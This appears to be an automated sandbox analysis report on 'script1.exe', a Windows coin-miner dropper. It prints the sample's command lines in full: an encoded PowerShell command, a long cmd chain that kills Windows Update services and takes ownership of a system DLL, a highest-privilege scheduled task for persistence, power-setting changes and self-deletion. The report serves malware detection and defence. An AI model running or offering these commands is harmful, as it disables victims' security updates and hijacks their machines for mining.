Analysis
-
max time kernel
150s -
max time network
139s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
19-05-2022 22:34
Static task
static1
Behavioral task
behavioral1
Sample
script1.exe
Resource
win7-20220414-en
General
-
Target
script1.exe
-
Size
7.2MB
-
MD5
cc45f791667f3b9fb6281414f5325561
-
SHA1
df8b29bbc15712f928a61f6d0c8e045d823dce84
-
SHA256
dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785
-
SHA512
f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/568-221-0x0000000140000000-0x0000000140803000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
script1.exenshost.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts script1.exe File opened for modification C:\Windows\system32\drivers\etc\hosts nshost.exe -
Executes dropped EXE 1 IoCs
Processes:
nshost.exepid process 304 nshost.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 1660 takeown.exe 568 icacls.exe 1776 takeown.exe 1384 icacls.exe -
Stops running service(s) 3 TTPs
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2008 cmd.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 300 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 1776 takeown.exe 1384 icacls.exe 1660 takeown.exe 568 icacls.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
conhost.exepid process 520 conhost.exe 520 conhost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
nshost.exedescription pid process target process PID 304 set thread context of 520 304 nshost.exe conhost.exe PID 304 set thread context of 568 304 nshost.exe conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 652 reg.exe 832 reg.exe 396 reg.exe 1204 reg.exe 812 reg.exe 900 reg.exe 1984 reg.exe 1228 reg.exe 1620 reg.exe 1944 reg.exe 968 reg.exe 1956 reg.exe 748 reg.exe 272 reg.exe 1784 reg.exe 1412 reg.exe 1652 reg.exe 1372 reg.exe -
Suspicious behavior: EnumeratesProcesses 61 IoCs
Processes:
powershell.exescript1.exepowershell.exenshost.execonhost.exepid process 1760 powershell.exe 1092 script1.exe 520 powershell.exe 304 nshost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe 568 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 468 -
Suspicious use of AdjustPrivilegeToken 16 IoCs
Processes:
powershell.exepowercfg.exescript1.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exenshost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.execonhost.exedescription pid process Token: SeDebugPrivilege 1760 powershell.exe Token: SeShutdownPrivilege 1216 powercfg.exe Token: SeDebugPrivilege 1092 script1.exe Token: SeShutdownPrivilege 300 powercfg.exe Token: SeShutdownPrivilege 788 powercfg.exe Token: SeShutdownPrivilege 616 powercfg.exe Token: SeTakeOwnershipPrivilege 1776 takeown.exe Token: SeDebugPrivilege 520 powershell.exe Token: SeDebugPrivilege 304 nshost.exe Token: SeShutdownPrivilege 2012 powercfg.exe Token: SeShutdownPrivilege 1680 powercfg.exe Token: SeShutdownPrivilege 2004 powercfg.exe Token: SeShutdownPrivilege 1352 powercfg.exe Token: SeTakeOwnershipPrivilege 1660 takeown.exe Token: SeLockMemoryPrivilege 568 conhost.exe Token: SeLockMemoryPrivilege 568 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
script1.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1092 wrote to memory of 1652 1092 script1.exe cmd.exe PID 1092 wrote to memory of 1652 1092 script1.exe cmd.exe PID 1092 wrote to memory of 1652 1092 script1.exe cmd.exe PID 1652 wrote to memory of 1760 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 1760 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 1760 1652 cmd.exe powershell.exe PID 1092 wrote to memory of 940 1092 script1.exe cmd.exe PID 1092 wrote to memory of 940 1092 script1.exe cmd.exe PID 1092 wrote to memory of 940 1092 script1.exe cmd.exe PID 1092 wrote to memory of 1352 1092 script1.exe cmd.exe PID 1092 wrote to memory of 1352 1092 script1.exe cmd.exe PID 1092 wrote to memory of 1352 1092 script1.exe cmd.exe PID 940 wrote to memory of 652 940 cmd.exe sc.exe PID 940 wrote to memory of 652 940 cmd.exe sc.exe PID 940 wrote to memory of 652 940 cmd.exe sc.exe PID 1352 wrote to memory of 1216 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 1216 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 1216 1352 cmd.exe powercfg.exe PID 940 wrote to memory of 1212 940 cmd.exe sc.exe PID 940 wrote to memory of 1212 940 cmd.exe sc.exe PID 940 wrote to memory of 1212 940 cmd.exe sc.exe PID 940 wrote to memory of 272 940 cmd.exe sc.exe PID 940 wrote to memory of 272 940 cmd.exe sc.exe PID 940 wrote to memory of 272 940 cmd.exe sc.exe PID 1352 wrote to memory of 300 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 300 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 300 1352 cmd.exe powercfg.exe PID 940 wrote to memory of 1068 940 cmd.exe sc.exe PID 940 wrote to memory of 1068 940 cmd.exe sc.exe PID 940 wrote to memory of 1068 940 cmd.exe sc.exe PID 940 wrote to memory of 1356 940 cmd.exe sc.exe PID 940 wrote to memory of 1356 940 cmd.exe sc.exe PID 940 wrote to memory of 1356 940 cmd.exe sc.exe PID 1352 wrote to memory of 788 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 788 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 788 1352 cmd.exe powercfg.exe PID 940 wrote to memory of 968 940 cmd.exe reg.exe PID 940 wrote to memory of 968 940 cmd.exe reg.exe PID 940 wrote to memory of 968 940 cmd.exe reg.exe PID 1352 wrote to memory of 616 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 616 1352 cmd.exe powercfg.exe PID 1352 wrote to memory of 616 1352 cmd.exe powercfg.exe PID 940 wrote to memory of 1956 940 cmd.exe reg.exe PID 940 wrote to memory of 1956 940 cmd.exe reg.exe PID 940 wrote to memory of 1956 940 cmd.exe reg.exe PID 940 wrote to memory of 748 940 cmd.exe reg.exe PID 940 wrote to memory of 748 940 cmd.exe reg.exe PID 940 wrote to memory of 748 940 cmd.exe reg.exe PID 940 wrote to memory of 812 940 cmd.exe reg.exe PID 940 wrote to memory of 812 940 cmd.exe reg.exe PID 940 wrote to memory of 812 940 cmd.exe reg.exe PID 940 wrote to memory of 1412 940 cmd.exe reg.exe PID 940 wrote to memory of 1412 940 cmd.exe reg.exe PID 940 wrote to memory of 1412 940 cmd.exe reg.exe PID 940 wrote to memory of 1776 940 cmd.exe takeown.exe PID 940 wrote to memory of 1776 940 cmd.exe takeown.exe PID 940 wrote to memory of 1776 940 cmd.exe takeown.exe PID 940 wrote to memory of 1384 940 cmd.exe icacls.exe PID 940 wrote to memory of 1384 940 cmd.exe icacls.exe PID 940 wrote to memory of 1384 940 cmd.exe icacls.exe PID 1092 wrote to memory of 436 1092 script1.exe cmd.exe PID 1092 wrote to memory of 436 1092 script1.exe cmd.exe PID 1092 wrote to memory of 436 1092 script1.exe cmd.exe PID 436 wrote to memory of 1748 436 cmd.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\script1.exe"C:\Users\Admin\AppData\Local\Temp\script1.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
-
C:\Windows\system32\sc.exesc stop bits3⤵
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '^"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe^"'2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "ServiceUpdateTaskMachine" /tr '"C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe"'3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "ServiceUpdateTaskMachine"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "ServiceUpdateTaskMachine"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\script1.exe"2⤵
- Deletes itself
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {53E6F7BB-9224-4B6C-95E6-2762CE5B6BDF} S-1-5-21-2277218442-1199762539-2004043321-1000:AUVQQRRF\Admin:Interactive:[1]1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exeC:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGUAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABwAGMAIwA+AA=="4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "elciakxgyodfgp"4⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ggorxoydbil1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB8Kr2fo1ssHPh8+toFAo+wzRGYTU4jGYVbu0tBMJh3RfnJDz7YWV+MpFnEpiMAfmX1rQQyg7jJfaIzAJNGY6+3cUA/26tWZW1qjVzKb7vm+9+UI/27mDPW9SkEazmCQyqvmf6CKllFjQ1aZUB9R4ieO8FotxcVvZQUZSqFI3EaWzZjvwwJ/6R8ZYkDDb9JeaeEhQekRXltyrVSsDT2DHC80svnL3Dvu9tJ90mgmsJPQlrCoc5paTZFcCkwShnPbjdnmFPAydnzi5uhgnbykZ03/jPdeutvaFwia2WVLsrs1oM/YGUWho/TK1cXghxl7wPcQADkA4WzyKEuo5oSaRnlntROsq1Hn5/QviY03gsWsbZiosuwdDLjM4XVLXFzcLPC4YOXyDaMqHSHI8xj5XMiO1xFPHZjflLrZ69NZ0UUZMJRLX6uY77d98weJR0SMBNmMkJJz9HSnl3Oz+sZnfQN5uh9hnFCOn3vmBJBDjGBohF8iHj1sdJ4Fodz3FFeub8snvJj71JjYZH0NfWhb3YRAIBERhqmG8/SA/Pie14wqVFkwMkGRBRKDdDS6Lzs+FiK8E/OEAFCPhCVcg51jG5fBcKtACelqlm6/up/PBnYWcG2FnLautcs/Q9gMrN7EMFUDmYVltwRavdUWnVbndrF8n283xUMv01Rvjg/zwhEe21h0kET/IMlSFy2dvu+3AtSh8tImRiZn1uqhvDYwu0nwBRTTohddp5QZ6Wxb0vRGHcvnMRmEIXaLNTQF8y7asfFazCnk3VUdMaPkpEOWE1RBGO/ZDutyD495juNhB0RlSEbK4sE69pJ3c759y59WfGRUs2qrJOOtxlwqzi+I1mIiFwUfWPuep+EOE4a0LzXAHUe/IB1bYDdXGv8X6kz79p3ciw5JoOmQVUqsnXWEc0KLsPlNowzK20EvlIDdMhQeCjilHjGwlbmdLkIrDydm9l6RfCeiqtz8tfFlPONEmTpSm577nR+QqVwP8GuszSLNMNHOky+EAa0syNMQXU+VhBKPAHh6nvw/9LcI+hjq+LPz99PYTykAf3yVTk87rohTdRO140p25KVxGNNXW/8sapL34x1AeAy3JHDli+tDrHA2xFeDasV4umfybZFSlPiYANKWxIpOMHLbCUaMeotLSw1xpiHEwyLzTC0ZwPrNk2P9fwqCqfDbB1BF34jvZvMe0imZwHkQ53WVAzuZi0d8fgrQNdWO7gvbt0dLaJF5pEZG4U2ogxyMu7ObYEgEKGC43UFSmchq6NPUstR+mBXpgHmP6YKbH/ybe6+4TDtcj0f/qhegexNuaQDykaF03/sWIIFsyBaWkpIiCHZiHf6TNEI7rjudSfBWaosUMCBmN1VUPYT6wfRIUK1X4xXgY/++EDJYCBcYi9+rAUXN/YyLwL2r4qNP8qeIjc5ewRu9Gbgh7ehGY/q3eIvUhdSFvvpQkHLOaSbSBodd8LJJzkMcYShSA8B2zV1EBdJ+zL55LLUFAWz